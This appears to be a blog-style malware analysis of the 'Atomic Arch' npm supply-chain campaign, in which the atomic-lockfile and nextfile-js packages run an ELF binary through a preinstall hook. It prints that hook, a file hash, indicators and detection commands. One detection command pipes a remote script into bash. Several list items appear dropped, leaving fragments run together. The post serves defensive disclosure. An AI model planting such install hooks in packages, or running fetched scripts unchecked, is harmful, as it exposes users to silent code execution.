This is the technical continuation of the Atomic Arch analysis. Here, I'll provide the actual source code and detailed reverse engineering notes for the atomic-lockfile package.
⚠️ WARNING: The following contains LIVE MALWARE. Do not execute or download unless you are in a secure, isolated environment. The author takes NO responsibility for any damage caused by misuse.
The original atomic-lockfile@1.4.2 and nextfile-js@1.4.2 packages were quickly removed from the official npm registry after discovery. However, they remained accessible via Chinese mirrors:
atomic-lockfileBoth packages (atomic-lockfile and nextfile-js) are structurally identical. Here's the layout:
atomic-lockfile/ ├── package.json # Contains "preinstall": "./src/hooks/deps" ├── README.md # Looks like a legitimate file-locking library ├── src/ │ └── hooks/ │ └── deps # ELF binary (the actual malware) └── dist/ # Normal-looking compiled code
The trigger for the entire attack is in the package.json scripts section:
"scripts": {
"preinstall": "./src/hooks/deps"
}
This hook executes immediately when the package is installed via npm. No user interaction is required.
The malicious binary is a stripped, 64-bit Linux ELF written in Rust. Its key characteristics:
6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98BSeveral detection tools have been developed by the community:
--all-time, --check-bun-cache, and --refresh flags.All tools are available at: github.com/lenucksi/aur-malware-check
atomic-lockfile, lockfile-js, nextfile-js6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98Btemp.sh (file sharing service)herbsobering, uququekrisztinavarga, franziskaweber, tobiaswesterburg, ellenmyklebust, custodiatovar, veramagalhaesRun these on any potentially affected system:
# Check for infected AUR packages curl -s https://raw.githubusercontent.com/lenucksi/aur-malware-check/master/aur_check-v2.sh | bash # Or, manually scan for npm cache leftovers find ~/.npm -name "*atomic-lockfile*" -type d 2>/dev/null # Check for systemd persistence systemctl list-units --type=service --state=running | grep -E "atomic|nextfile|lockfile" # Check for eBPF rootkit maps (requires root) sudo bpftool map list | grep -E "hidden_(pids|names|inodes)"
npm install --ignore-scripts for manual installs.This concludes the technical analysis of the Atomic Arch campaign. The source code is available for research purposes only at blog.unionium.org/atomic.tgz.
Yours, Ley.